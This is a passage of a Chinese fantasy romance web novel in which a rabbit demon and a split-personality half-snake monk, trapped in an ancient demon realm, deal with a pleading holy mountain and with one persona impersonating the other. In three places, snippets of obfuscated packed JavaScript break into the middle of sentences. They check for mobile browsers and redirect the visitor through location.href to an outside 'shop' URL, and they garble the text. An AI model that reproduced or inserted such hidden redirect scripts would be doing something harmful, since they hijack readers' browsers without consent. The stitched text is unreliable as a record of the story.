对玉扶的疑问,息尘只微想了会道:“阿扶,任何妖的血脉都是有承受上限的。” 只一眼他便又别开了视线,少女的阿扶,他不敢多看,即便她有穿着内衫,也几乎浸在水中。 可每一眼,都促使着他更清楚地回忆起她软得像云一样的唇瓣、纤得一掌可握的腰…… 他不得不用说话来掩饰窘迫,也恰好,他近来没少于学宫中查阅各种古籍: “洗血池的效用是在原本妖脉的基础上提升,现世妖距离昔日之境真实存在时期,差距不知多少万年,便是流传血脉也早已稀薄。” “阿扶你身上的鹓扶血脉也是如此。” 也即是说,初始的血脉就决定了洗血池能提升的上限,玉扶继续泡,或许还能提升,但不可能一直提升,可能到了某一阈值,洗血池就失了效用。 息尘说的并不算直白,但他知玉扶能理解,可理解的同时他也怕玉扶为此失落,几乎没有停顿地,他继续说道:“其实,血脉也非一定是越强越好。” “昔日之境中往昔诸大妖,虽大都生来便身负修为,但寿元也大大地减少了,他们越强,便意味着,距离失控不远。” “学宫存在便是在减缓这种失控。” “后世的妖,虽无有天生强悍的血脉,但何尝不是一种幸。” …… 他怎么会有这么多话? 玉扶盯着他张合的唇,眼皮都在打架,但凡他稍偏个眼风给她,也该停了。 她控制不住打了个哈欠,可眼皮却努力地撑着,她赌气地想要看看,他到底能说多久。 然,玉扶的意志力还是抵不过困意,她双手交叠着,趴在池边睡着,脸肉压得溢出,倒全不似醒着时候的骄纵闹气,纯然得天真美好。 息尘口干地松了口气。 他固然唠叨,但也不是尤爱唠叨,只是除了此外,他想不出能平静面对玉扶的方式,也无法面对自己难以平静的心绪,尤其是,他没有对玉扶说实话,阿裴一直存在,也一直在看着他们。 压也压不住活跃的蛇尾便是最好的证明。 “同一人”之论,虽出自他之口,但相斥的意识,真的能完全算作一人吗? 阿裴会对他生出愤怒,而他,也于不知觉中,尝到了何为嫉妒。 息尘苦笑一下,卷着玉扶离开洗血池。 * 息尘安置玉扶睡于榻上,熟睡中的她,柔白恬静,肌肤莹白,只在颊靥上飘着些许红晕。 息尘瞧出了神,日渐妖化更甚的妖躯,常令他有脱离掌控的惶然之感。 他能感觉到本该虚弱的阿裴在极快地恢复,直到此刻,那种急切想冒出尾巴的冲动,仍残留在体内。 这种妖化的躯体感,再也不受控地要超出他的克制,他最后看一眼玉扶,在房内布下结界,寻到无人的竹林—— 失控彻底释放。 庞大的蛇尾取代了人的双腿,眼前结成了模糊一片的阴翳。 他的意识,阿裴的意识,交替地出现,凝结的佛珠一颗一颗地缠绕周身,从胸膛延至蛇尾,收紧时,息尘的意识能得以喘.息,挣开时,阿裴的意识主宰,放、荡地撕开紧裹的衣襟。 妖性、人性,争夺着只有一具的躯体。 蛇尾压倒大片绿竹,蛇腹蠕动,蛇鳞裂开,脑中画面时而是阿裴的蛇尾缠着阿扶的脚踝向上,时而是息尘不反抗地任由阿扶扑到。 嫉妒、不甘、愤恨……种种情绪交织,最后汇聚成了统一的喘.息。 直至曦光落下,竹林方平静,胜出的息尘,眼尾邪异地红,略加感受,体内不同的脉系,融合得并不尽人意。 反倒是罪恶的狼藉,几乎不忍再看,他无法用只是阿裴的情感影响了自身来解释。 从储物中换上一身干净的衣裳,高高束着颈的衣领暂压下了所有汹涌的骇浪。 然,重寻回住处,玉扶不见了。 结界却还在。 他竟没有感应到玉扶的离开,顷刻,神识外放。 玉扶是只胆小的兔子,窝里横是强项,但不明的地方从来不会乱闯乱撞,尤其是她独自时。 惯常修炼的地方并没有踪迹。 曾去过的书阁与学宫也并不在。 昨夜泡过的洗血池,依旧空荡荡。 恐慌的情绪袭上头,昔日之境恍如真实存在的古妖,每一个的实力也皆真实复刻,而玉扶于其中,不过是一只想进步的小兔。 他不管神识是否会撞上厉害的古妖,更放大范围地寻找。 终于,在接近圣山附近寻到玉扶的身影,毫不等待地,疾奔而去。 * 玉扶初提升了血脉,也重回了元婴,她无疑是满足的。 身体充盈的力量,令她充满了活力,她完全是被息尘的唠叨,叨叨得睡着的。 临近曦光初现,身体的习性令她慢慢苏醒,然也是于半梦半醒之际,她听到某种呼唤,就如母亲呼唤孩子,大山呼唤生灵一般,玉扶拒绝不了。 当她彻底清醒时,她已出现在了她也不知是何处的地方,但距她不远,便是巍峨圣洁的高山。 玉扶认得这座山,入妖神古墟前,便是这座山,在连片的火山中仍覆着雪,也是这座山,将她与阿裴吸入了昔日之境中。 更是于昔日之境中,玉扶知晓了这座山的来历,这是诞生第一个妖神的山,山本普通,可越来越多的妖为此产生了希冀,有了朝圣,这山便再也不普通。 它开始生了灵,又有新的妖神于此出现,后来更是以此为中心有了妖神学宫,万千妖不再控制不住自己强大的力量。 它无疑是一座圣山。 息尘同玉扶说过,他们出去的关键,也在这座山,但,为继续维持着昔日之境的稳定,若不到不得已时,息尘并不想强闯。 所以,即便入得了学宫,玉扶还没有这般靠近过这座山。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610692|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>此刻,她好似被这座山带入了非常奇特的空间,听见了无数哀鸣,山火、妖火相撞,大妖与大妖打斗一片,大地开裂,熔浆吞噬…… 地狱之景莫过如是。 玉扶承受不了这份哀伤与痛苦,抱着头蹲在地上。 她有鹓扶的血脉,据闻,鹓扶是山神一脉后裔,玉扶听姥姥说了非常多相关的传说,也一直以此为目标,可也不知是不是她借由圣山重现的洗血池提升血脉的缘故,她与圣山之间,倏地多出了一份联系。 圣山似乎是在与她说话,甚至祈求她—— 它告诉玉扶,它在妖神为尊的时期,受了妖族的朝圣,故而,当众古妖罹难时,它也企图庇护他们,但死去的古妖实在太多了,它连安息的安宁都不能给到他们。 一直将学宫中的每一妖族都当做自己的孩子的它,为此悲戚,最后,它不惜以山体为载,山灵为媒,纳入了所有妖将要消散的最后一分魂念。 承载着这些,它沉睡日久,天地变幻也无所感,直到被惊醒。 它说,它已经算不上是圣山了,它早已与这些古妖魂念融为了一体,成了永远困于过去的循环。 但是它很幸运,遇到了玉扶。 它希望玉扶寻到它的山体核心,打破它。 即便它说不是圣山了,但这种庞大意识灌输似的沟通,玉扶真的头痛得脑子都要炸了,她眼泪流得满脸都是,努力挤出一个魂体小兔,撞入山体,尝试沟通:“我只有元婴,我接近不了你的。” 昔日之境的神奇玉扶已经领教过,一切回溯的时点,所有的景象甚至是大妖们,都恍若还真实地活着,而且只要在这一方境中,这些大妖的实力还真的不能再真。 按照过去的时点,守在圣山的双圣实力,那是能随意靠近的吗? 她做不到的。 玉扶在摇头。 一阵和缓温柔的风宛如和善的长者,一下一下地拂过玉扶,她好像听到了圣山的笑:“孩子,你会寻来的。” “我的最后一任守护者,曾诞下过一颗蛋,在妖神古墟完全封闭前,它脱离了毁灭的灾难。” “正是未断的传承,令你们来到此。” “双圣不会为难你们的。” 圣山传递的声音越来越小,可它承载的意识实在过于庞大,玉扶接受它沟通的同时,脑中还不断闪过很多很多覆灭画面。 她再忍不了地答应道:“知道了,知道了,我会帮你的,不要再给我分享好多妖怎么死了,呜呜呜呜……我头好痛……” 她只是一只修炼还不到家的小兔妖,那些画面,每一帧都跟带着精神伤害一般,她真的承受不住了。 圣山似乎终于意识到它的沟通给玉扶带来的伤害有多大,它的声音渐渐无声,只有一点轻微环绕的风证明它真的出现过。 也是一瞬的功夫,她被吐出了糟糕的空间,重新回到昔日之境,不远处的圣山,依旧高大,宁静,有着抚平着每一个妖狂躁的力量—— 如果没有让她看到那些可怕画面的话。 玉扶没有立马离开,她抱膝蹲着,怨念地在地上画着什么,缓着心神,也回想圣山说的话。 地上画出的图案,有圣山,还有两条代表双圣的扭扭线,她在边上又加上了一条。 在昔日之境中一些时日,她已经知道就当下的时点,守在圣山的双圣是最后存活的妖始祖,而且还是两条大蛇。 玉扶不难想到半妖的息尘也是蛇。 所以,圣山说的传承还有双圣并不会伤害他们是因为息尘吗? 原来她和息尘被吸入昔日之境并不是偶然吗? 玉扶食指胡乱戳着画出的涂鸦,想得头更痛了,她一点也不擅长想这些乱七八糟的前因后果,也很不喜欢幻境了、昔日之境还有接收到的可怖画面,这些总会令不坚定不坚强的她迷失,即便出来了,也像失去了气力般,想把自己蜷起来。 她将脑袋埋入膝中,努力甩开着那些从圣山意识传达来古妖覆灭画面。 她突然好想息尘,她不见了,也不知道息尘发现没有。 倏地,像是幻听一般的一声急促呼唤,惊得玉扶扭头,望见来人,她不争气地,大颗泪珠啪地落地,使气怪道:“你怎么才来?” 51. 第 51 章 娇气可怜的嗓调,如有风起浪逐之势,掀动息尘心扉。 他寻来时,恰见就是玉扶可怜兮兮地抱着膝,脸蛋都埋入膝中,惯来冷静的嗓音带上了失而复得的急促。 随着声落,下一刻他已行到了玉扶面前,颀长身形先倾下身为玉扶拭去了滑落的泪痕:“阿扶,莫哭了。” 温和带着无尽怜惜的动作,玉扶轻易被安抚,她仰着头,简直要浸溺在他温柔的眸光里,那些血腥可怖的画面,顷刻得到净化。 她其实也不是经常真哭的,后知后觉地,玉扶生出了些微的难为情,缓缓垂下视线,才小声道:“我腿麻了。” 息尘呆滞反应一瞬,微微笑着,拉玉扶起身。 他笑起来,本就温柔清和的气质,更为包容了,玉扶耍赖地依着他:“还麻,动不了。” 明知她是耍赖,可息尘并无法拒绝玉扶,她是妖,总不觉一些亲密的接触有多超出礼法,而他,懊悔过,或许从一开始,便不该被玉扶拉入水中,不该纵容了她胡来,直到寻来的前一刻,他甚至仍想着,同玉扶回到寻常的关系。 但这种冷静,还是在玉扶可怜的泪水中被打破。 这些,无一不令他发觉自己对玉扶的心思并不纯粹。 他能做的,似乎只有不过多地去感受独属少女贴来的触感,古板而木讷地当着一个支撑她的柱子。 他听见自己强作镇定的声音:“阿扶,是发生了什么?” 玉扶双手环上息尘的腰,面庞埋入他胸膛地蹭了蹭,熟悉令人安心的味道,渐渐令她恢复了处理息尘问题的情绪,轻轻“嗯”了声:“我见到了圣山。” 此刻那圣山分明就在他们的身后,巍峨,神圣,不可侵犯,息尘略皱了下眉,并没有催促玉扶立马说清,而是放出神识窥探。 强大的气息阻隔了他的窥探,甚至,如同被什么锁定一般,苏醒的妖躯,既莫名地泛上恐惧,又昂然着兴奋的颤栗,恍若叫嚣着去挑战。 这种根植血脉本能反应,息尘一瞬想到圣山之中的双圣,只要仍处在昔日之境中,那便会受此地的制约,双圣在此方境中的强大毋庸置疑。 息尘当即一手揽上玉扶的腰,遁空逃离此处。 强大的神识一遍又一遍扫过了整个妖神学宫,玉扶压在息尘的胸前,乖巧地听着他的心跳。 每当那强大的神识扫过时,玉扶其实也能感受到,倒不是她长进得能与之抗衡了,而是,那神识在他们的身上停留得尤其久,就像是在评估什么一般。 不用猜,玉扶都能想到这神识或许是来自双圣,一次两次,玉扶还觉得忐忑,可一直没有实质性的威压和追来,玉扶估量着可以相信圣山说的话。 一经确认没有危险,她的心神便更松弛地放到了息尘身上,极令人安心的怀抱,她好想把同圣山的遭遇都告诉他。 她分神地想着,一时并没有察觉双圣神识的撤离,直到茫然地就被息尘松开,退离了一个身的距离。 乍然失去的安心怀抱,玉扶不开心地努了努嘴,非要走近一步地杵到息尘的跟前:“我知道了一个和你有关的秘密。” 少女的馨香,方才揽过的温感,息尘无无所适从地又要倒退。 他惯这样,好心肠归好心肠,可也时时抛不开那些清规戒律。 玉扶一直关注着他的反应,眼睫都不眨一下,在息尘动作的一扑身向前。 息尘没有防备地被扑倒。 玉扶半身的力道几乎斜压在了息尘胸膛上,肘弯相叠地压着,漂亮的脸蛋俯看:“佛修真无趣,一点好奇心也没有。” “我直接告诉你吧。” 她满是妥协了地继续道:“我见到的不是现在见到的圣山,而是更未来一点的,嗯......就是将我们拉入这昔日之境那时候的,它很痛苦,分享了一部分的记忆画面给我。” “很多血脉强大的大妖们,在争斗,不止有学宫的妖,还有很多像是其他地方失去理智的大妖。” 对这,其实玉扶也辨得不是很清晰,那些画面她也根本不想仔细回想,跳过地总结道:“总之,打得山崩地裂,地火喷发,最后双圣也被卷入,将乱象止步妖神古墟这一隅。” 终于说到了最想说的,她压着息尘的手肘微挪了挪,语气都藏着些神秘:“双圣在完全割裂妖神古墟之前,还送出去了一个蛋。” “你可能是那颗蛋的后代!” 这完全是玉扶的猜测,但她觉得她猜得很接近真相了,脸一点一点地压下,企图得到息尘的肯定:“息尘,你有听我说话吗?你怎么不说我猜得对不对?” 息尘仰面躺着,少女靠得越发近的唇瓣,他似乎已经听不进去她在说什么,也全然感受不到她半支在身上的重量,视线从始至终地跟着她张合的唇瓣,叽里咕噜地说话,热闹,柔软,湿润,漂亮…… 他并不能再继续想下去,他该做出反应,在她下巴尖将将触上时,他不自然地别开了脸:“阿扶,你先起来。” 又是这样的躲避,玉扶赌气地摇头,更用了上半身力气下压:“放你起来,你又要躲我了。” “你为什么总躲我呢?” 玉扶的角度,轻易地与息尘鼻尖相近地面对面,控诉得鼻音哼哼的:“你昨夜还说不讨厌我碰你。” “你是在骗我吗?” “骗”字一出,她眼里泪花晕开似的伤心。 光是看着这样的她,息尘便无法说出拒绝的言语,且,他心中也异常分明,阿扶并未做错任何事,她是妖,天性使然的粘人,至于妖性的失控,又如何能全然怪她的定性? 要怪,只能怪另一个他,没有正确引导阿扶。 “阿扶,我并未骗你。” “只是,青天白日,你我说话,总该循一些礼。” “你先起来。” 他嗓调仍旧温和,但略微带上了些训导的意味,犹如两个人的意识,却有着同一具躯体共享着大部分的记忆。 羞耻,自责,不知该如何面对阿扶,常常磋磨着他的良心,可他也意识到,并不能一味这样下去,至少,该让玉扶学会一些克制。 否则,若是她身边陪同的是旁人呢? 一时,他心口发紧,被这种可能刺激得面上更显严肃。 玉扶敏锐察觉息尘情绪的变化,瞳仁微有些吃惊地缩了缩,在她心里,息尘是瞎好心肠的佛修,他的纵容总是没有下限。 可是接连两日里,她第二次触及了他不可侵犯的一面,她回忆起他清冷带着审度的目光,他分明没有引诱他,但是却快把她的魂勾飞了。 她为他的圣洁着迷,慾望驱使着她拉着他堕落,然而,当下再与他肃容结合,玉扶还是生出了点怯意。 不是对阿裴的那种直接的害怕,而是会不由自主地反思自己是不是哪里又被讨厌的不安。 她单纯的思维并不能想太远,不过,对待人格会转换的佛修,她已经很会审时度势,他凶,她就乖,他好心肠,她就往前试探。 此刻,她乖巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16625970|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地选择先退一步,从息尘身上起开,坐姿都透着一种“我很乖”的意味。 息尘平静目光与她对上视线,瞬间就接收到她“我已经很乖了”的讯息,他薄唇抿成为一线,无从切入教育地头痛,几乎可想,无论说什么,阿扶都能用“我是妖嘛”来解释她的行为。 他站起身的高度,阴影笼入玉扶,沉默得玉扶心底发虚,仰望的视角,更是遍身的皎皎清冷,犹如神祇临世。 可就是这样不可亵渎的神祇,玉扶渴望更甚,她一下山就遇到了他,他们一个圣洁慈悲,一个妖孽无耻,这种极度的反差,她只是一只在渡情期的小兔妖,怎么可能能抵挡。 玉扶怎么反思,都没有寻出不该接近的理由。 她仰脸观察着息尘,渐渐又壮了胆气,率先开口:“你是想教我循礼吗?” “又是什么兽兽不亲吗?” 玉扶很难接受这种不能触碰的洗脑,忍不住商量:“教其他的可以吗?” 她很丧气地揪着他的衣摆,乖巧坐姿再保持不住地斜靠,仰脸的姿态,要多委屈就有多委屈。 息尘完全没想好要同玉扶讲什么礼,腿部靠来的少女重量,令他呼吸都一滞,他不得不先拉起玉扶:“阿扶,白日不可随意扑人。” 冷淡的声线,非常郑重其事,可也委婉得过分了。 玉扶瞳仁灵动地闪了闪,懂得,这个扑人,应该就是指的息尘,她点头答应,问:“那夜里是可以吗?” 息尘一时没有回答,他对妖的了解已经有了更多的认识,妖的修炼常会在不同的阶段,受原形影响,或受血脉影响,显出不同的需求。 某种意义上,也有点类似人修的心境磨砺,只要度过这种时期,修为或是心境都会有不少的提升,也会更褪去一些兽类的本能。 比起好暴戾杀戮的,玉扶这种已算得上温和,只是,她的自制力实在太差了些。 “不可”二字在息尘的脑中打了个转,也知晓是完全不可能的:“阿扶,佛门有篇心经,可帮你磨砺定性。” “你若有进益......实在忍不住时......” 古有佛陀以身饲鹰,可他的情形还是略有不同,虽是为激励帮助阿扶,但主动说出来,还是异常难以启齿。 玉扶听到要她学什么心经是很失望的,不过,息尘接下来的话紧紧勾住了她,她一瞬不瞬地盯着不正面瞧她的息尘,祈盼地等着他说完,也惊奇地发现,他又红了耳。 不止是耳,耳后往下的一片肌肤,光是盯着,都仿佛可以感受到滚烫的温度,什么心经啊,她突然好想学。 几乎是在息尘艰难吐出“再寻我”最后几字时,玉扶就点了头。 她是妖,她能有什么定性,她今晚就想学:“那你什么时候开始教我?今晚可以吗?” 玉扶压下急切,软声软气地问。 息尘默了默,答应:“可以。” 玉扶忍不住雀跃地抿唇,笑意随着低头的动作掩藏。 若说跟着阿裴学到了什么的话,那就是以己度人,她不适应阿裴没下限的手段,那息尘是木讷的佛修,也应该是还没有适应已经不是单纯小兔的她,那就慢慢适应好了。 一经想通,她一点也不觉得息尘偶尔露出的疏离伤人了。 她才不是斤斤计较的兔子。 玉扶又活泼地跟在息尘身旁,一会问他要学的是什么心经,一会又担心问:“双圣会不会主动来寻我们?” 息尘:“或许罢。” 52. 第 52 章 不甚明确的回答。 但对玉扶所告知的秘密,息尘早有料想。 同阿裴共通的一部分记忆中,狐妖所展现出来的不同寻常,疑点重重,狐妖从何得知的妖神古墟方位?又如何知晓怎么开启妖神古墟? 还有那些以妖血驱动的诡异法阵,几乎契合了古妖的某种神通。 若不是提前知晓准备,如何能做到促使几大妖族合力开启妖神古墟? 几乎可以证实,那个是他母亲的大蛇,即便不是从妖神古墟中出去的双圣后代,也必然继承其传承,所以—— 狐妖和其背后之人,是从妖王身上得到的所有讯息? 息尘眸光暗下,这是他最不想猜想的可能,却也是最接近事实的可能。 也可想,要得知这些,需要做些什么。 偶尔,他脑中会闪过碎片般的画面,那些画面,时而是昏暗无光的地牢,时而是疼痛不已的抽搐......他瞧见了痛苦挣扎的大蛇,也瞧见脸色煞白的幼年阿裴,被人死死按着抽取血液…… 或正是如此,他无法割舍从躯体中苏醒的妖性,也接受着躯体的变化。 他沉默停顿步子,目中流露着玉扶看不懂的复杂情绪,甚至还有一瞬便压下的凶性。 玉扶努力眨了眨眼,几乎以为自己是眼花了,分明是完全不同感觉的阿裴与息尘,可不知为何,玉扶极少数的时候,会有种他们重合了的错觉。 半妖都是这么复杂的吗? 难怪稀少得连听都没怎么听过。 但玉扶还是担心息尘,她踟蹰着开口:“息尘,你是不是不喜欢当妖?” 除此外,她想不到能解释息尘变色的缘由。 情绪不过一瞬显露,竟就被玉扶察觉,息尘惊讶同时,也发觉自己似乎越发偏离过往定性,他收敛情绪,回答玉扶:“阿扶,有些改变并非我能控制,是人也好,是妖也罢,皆是因果。” 光将他眉目耀得清冷又圣洁,他说这话时,就好像即便变成妖,躯体中存在着另一个意识,他也能接受,他也确实接受了,也一直是玉扶知晓的那个温柔好心肠的佛修。 而且还总将阿裴的坏揽做自己的责任。 玉扶张了张唇,心虚得没再说什么,毕竟她就是仗着他的这种揽责想法,靠近了他。 至于到底是人了,还是妖了,玉扶并不想思考太多,反正,吃到肚子里的才是她的。 * 一整个白日,玉扶没有再等到圣山的联系,也没有等到双圣寻来。 她反而轻松了不少,她才刚恢复修为呢,就要让她去办破坏圣山核心的大事,哪里做得到。 而且,她现在也弄懂了,与她交流的圣山意识,已经不能算作单纯的圣山了,而是这一整个昔日之境的意识。 这个构成是极其复杂的,就像它无法避免给玉扶带来的精神伤害一样,众古妖的濒死意识某种意义上也融入了圣山,故而,它能单独脱离出来与玉扶交流的时间极短。 至于双圣的存在,当下的时点,若要接近圣山,就绕不开他们,而且,作为守护者的双圣能意识到他们其实早就死了吗?也真的能放任她去接近圣山的核心吗? 好吧,即便这些都能解决,她也正好修的山神道,可圣山那么庞大,还是变异那种,它的核心,真的是她能破坏的吗? 玉扶怎么想,都觉得她被圣山核心撞碎的可能性更大。 总之,绕来绕去,最后还是先落在了稳固境界上,恰与息尘要交给她的心经相合。 满满一面墙都是金光闪闪的经文,息尘用灵力给她写就的。 玉扶参悟了一会,双眼就开始发晕,全凭“有进益,就能寻息尘”的念头在吊着,才不至于睡过去,至于“实在忍不住”这一前提条件,她才不管呢。 而此时的息尘,并不同玉扶待在一块,完全分离的妖性与人性,除去意识上的分歧,身体上也显出了很大的问题,不同脉系的融合不得寸进。 眼前阴翳时而显出蜕皮的征兆,时而又被压制得无影无踪。 夜深时,阿裴的意识还会不管不顾地冒出来与他争夺躯体。 今夜如是。 被昔日之境修复的竹林,重新变得狼藉,蛇尾压过倒塌绿竹,窣窣声渐聚集一处,盘旋而拱起的腰腹,蛇鳞漫上了锁骨,臂膀,甚至颊靥。 幽晦的竖瞳于漆黑夜色中显出不一样的阴鸷戾气。 蛇鳞渐从颊靥褪入皮肤之下,收紧的腰线往下,赤1裸出人的双腿,盛如海藻的乌黑长发也遮不住他充满爆发力的身躯。 他容情阴晦,不过几日,他的小兔,背叛了他。 她就那般喜欢“他”,喜欢到当“他”一出现,就毫不犹豫地舍弃了他。 是他给她的还不够多? 还是她本就一直在与他虚与委蛇? 是了,惯会装乖的兔子,根本就是一直在骗他。 牙齿被咬得咯咯作响,几乎想咬死猎物的凶狠,他垂下的手,凭空一招,被收纳的鶠蓝发带出现在手中,上头奇丑抽象的绣纹刺痛了他的眼。 只要他稍稍用力,脆弱的发带即可碎裂成碎布。 然他只是用力捏着,最后带着气地拢起发缠绕,同时,大步行走着,身上也重新披上了衣服。 他轻易闯入息尘留下的结界,或者说这结界本就也认他为主。 真是连人也认不清的废物结界。 裴息尘无差别地对什么都感到愤怒,结界在他身后无声地碎裂,而屋中的少女却无所察地趴伏在床沿,仍睡得香甜。 她的不远处,是满面墙的经文,耀耀金光,亮得她的睡颜也暖色一片。 裴息尘轻嗤俯身,拂开她颊畔的发丝,指腹触碰她睡得暖红的脸蛋,肌肤娇嫩细腻得吹弹可破。 想掐她,还想咬她。 最好吓得她又惊又哭,瑟瑟地发抖。 他想得有些着迷,露出白牙地笑,张开口—— 影子投下巨蛇身形,蛇首悬在少女头顶,如同看守猎物一般的占据姿态,蛇口时而张开,可怖得恍若能将睡梦中的少女整个吞下,时而,蛇首又紧闭,只偶尔嘶嘶吐出分叉的舌,卷过空气中属于少女的香甜。 终于,少女有了苏醒的迹象,发出含糊混沌的嘤咛。 也是一刹的功夫,巨蛇投影消失不见,颀长身形收回最后一点尾巴,他手指顺势撩过少女的发,在她睁眼一霎,转眸笑得温和:“阿扶,醒了,怎在这睡着了?” 玉扶对上他一见就心生好感的微笑,微一怔楞。 息尘? 玉扶对自己突然冒出的怀疑很是诧异,眼前笑得温柔和善的,除了息尘还能是谁,大坏蛋才不会这样对她笑。 她提起的心稳稳回落,开始邀功:“我有在认真学心经。” “我是不小心才学睡着的。” “第一天,要怎么样才算进益呢?背下来算吗?” 什么“安般”、“守意”,还有净不净观的,玉扶真的很难禅悟,她有按息尘教的,专注观察呼吸的出入,可她并禅定不了,更别说收摄散乱的心了。 她满心都是修这些不如息尘让她啃几口稳固的快。 可不学,就没法啃到息尘,她只能另辟蹊径地靠背了,她挺擅长记忆的,下山前就是这样不管是什么先记下来,下山后遇到了就很快明白了。 她轻摇了摇息尘的手,很有撒娇的意味。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634725|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴息尘脸上温和的假面僵了僵,她这是在对谁撒娇呢? 连是谁都分辨不出来的兔子,把他当成了“他”。 裴息尘细细呷着当中的不同,一分一毫地比较着她对谁更用心。 她对息尘说话的态度会更自然,更没有防备,还更—— 主动。 裴息尘呼吸加重,那种又想将该死的兔子整个生吞的念头又涌了出来。 即便再用力地维持假面,也一时仿不出息尘那恶心感的温和来。 玉扶一直等待着息尘的回答,没有错漏他僵硬抽动的唇角,违和又漫了上来,贴近撒娇的动作偷偷地退了几分。 但这点小动作根本没有逃离裴息尘的眼,他笑了,很小的弧度,恶意全部掩藏在清淡而有距离感的温和之后:“全背下来了?那也很不错。” 一个完美的笑。 嗯,息尘就是这样的,即便是肯定,也淡淡的,温和的,但又不乏真诚,玉扶迷惑地看向裴息尘,企图看出些什么不同来,只一瞬间,对上了他明澈宽和的眼。 这哪里像是伪装的啊。 玉扶悄悄地吐了一口气,她真是做贼心虚了,一点点风吹草动就疑神疑鬼地是阿裴回来寻她了。 他还虚弱着呢。 她寻息尘修炼一下又怎么了! 她是妖嘛,不进步怎么去干大事离开圣山呢? 圣山主动寻上她,那就是她的天赋,不管是阿裴还是息尘,说不得之后还要仰仗她呢。 玉扶胆气壮了不少,主动地拉动息尘,软着声线地道:“那有奖励吗?” “我修为涨了嘛,神魂总是饿。” 眼巴巴的目光,饱满微嘟的唇,哪哪都长得和他心意的小兔,说饿的对象却是他最讨厌的人。 裴息尘没有一次感到这样生气,气得已经没有了脾气。 他紧绷着唇,不让更多愤懑情绪流露,在等着看,色兔子到底能对息尘做到哪一步。 她越靠近,他的心便越冷下一分,眼风如刀子,如寒风,俨然一副红尘不染的圣子模样。 玉扶心里没底,总觉得息尘好像有些不太像他,她心忧,到底要有多少进益,才能在寻他的时候不被拒绝,不被用这种侵犯不了的眼神推远? 她要花多久的时间才能悟得了心经? 玉扶挺起的腰肢,丧气地塌了下去,嘟哝:“小气。” “只教一遍,哪有那么快就掌握。” 蔫了的小兔,发髻绒球也显出心情似的萎靡,裴息尘装出息尘温吞不忍的语气:“那阿扶,你待如何?” 得逞的玉扶,狡黠的笑意一闪而逝,她就知道好心肠的佛修不会不管她的,亮闪闪的双眸满是勃勃的朝气看向裴息尘:“你再教教我嘛,一句一句地讲。” 裴息尘不似息尘道德感颇高,他无耻而没下限,倏然从这奇异的扮演中,享受到慢条斯理戏弄猎物的乐趣,他笑着答应:“好。” 笑弯起的眼尾弧度,玉扶又诧异了,息尘笑起来是这样的吗?怎么有点妖啊? 她不敢置信地又去望一眼,那弧度已然平顺了下来。 也不知是不是心理作用,息尘再每念一句经文,玉扶便不受控地留意一下他的眉眼与唇角。 而正是他们在缓慢教学进行的时候,很远很远的山石中,顶出了一个土包。 土包每鼓一下,便有法光亮一下,直到法光失效,从中钻出了个豆豆眼的小蛇,十来寸长,漂亮华丽的蛇鳞直如缩小版的阿裴。 它蛇首喜感地肿着一个包,晕乎几下才稳住了直立的上半身,于地面上爬行得也不甚熟练,左歪一下右歪一下,才寻到感觉地嘶嘶吐着蛇信辨认方向向前。 53. 第 53 章 因着那点狐疑的留意,玉扶发现息尘的面色在一点一点地变得苍白。 他的眼也在一点一点变得阴郁,可是他偏要维持着温和继续同她说着经意。 更可怕了。 玉扶毛毛地被激起了只有面对阿裴时,才会冒出的鸡皮疙瘩。 他掀眼望来,笑意寻常,语调也寻常:“阿扶,怎么了?是我哪里我没讲明白?” 玉扶打了个寒颤,轻轻摇头:“息尘,你是身体不舒服了吗?面色好白,我明日再学也不妨的,不如,休息一下吧。” 贴心的关怀,裴息尘于痛意中感到诡异的畅意,他的阿扶,知不知道,她真正想关心的佛修被他剥离了? 削肉拔鳞,识海割裂,终于分开了的意识,从没让他感到这样痛快轻松过,即便胸口的剜肉处愈合不了地在发着痛,也即使他并不能真正地让另一个意识消失。 他能感到他寄在护心鳞中的另一个意识跑了出来,也能感到它的接近,可这一刻,他们确实是分开了的,而他是获得躯体的胜利者。 他拒绝玉扶的提议:“为何要停,我讲得不如......不好吗?” 玉扶头皮过电般地发麻,好,怎么会不好,就是好得太熟悉了,同息尘给人的好心肠全然不同的感觉,没有原则的,伺机等待着什么的慷慨的好。 玉扶几乎要猜测,面前的根本不是息尘,而是阿裴。 他伪装成了息尘。 玉扶为自己的猜测,身子控制不住地抖了抖,要真是这样,未免也太可怕了,她宁愿阿裴醒来就直接找她算账,顶多也就被啃一啃,然后被缠一缠尾巴。 反正她是妖嘛,她没有等他有什么好奇怪的? 而且计划赶不上变化,谁能料到洗血池的功效那么管用呢,一下子就帮她冲回原本修为了。 再说,她才没有答应过他什么呢。 毕竟只是一个猜测,玉扶把自己洗脑好,再去看息尘,发现华美圣洁的佛修容色虽苍白,可恰是这份苍白,更削弱了想象中的威胁可能。 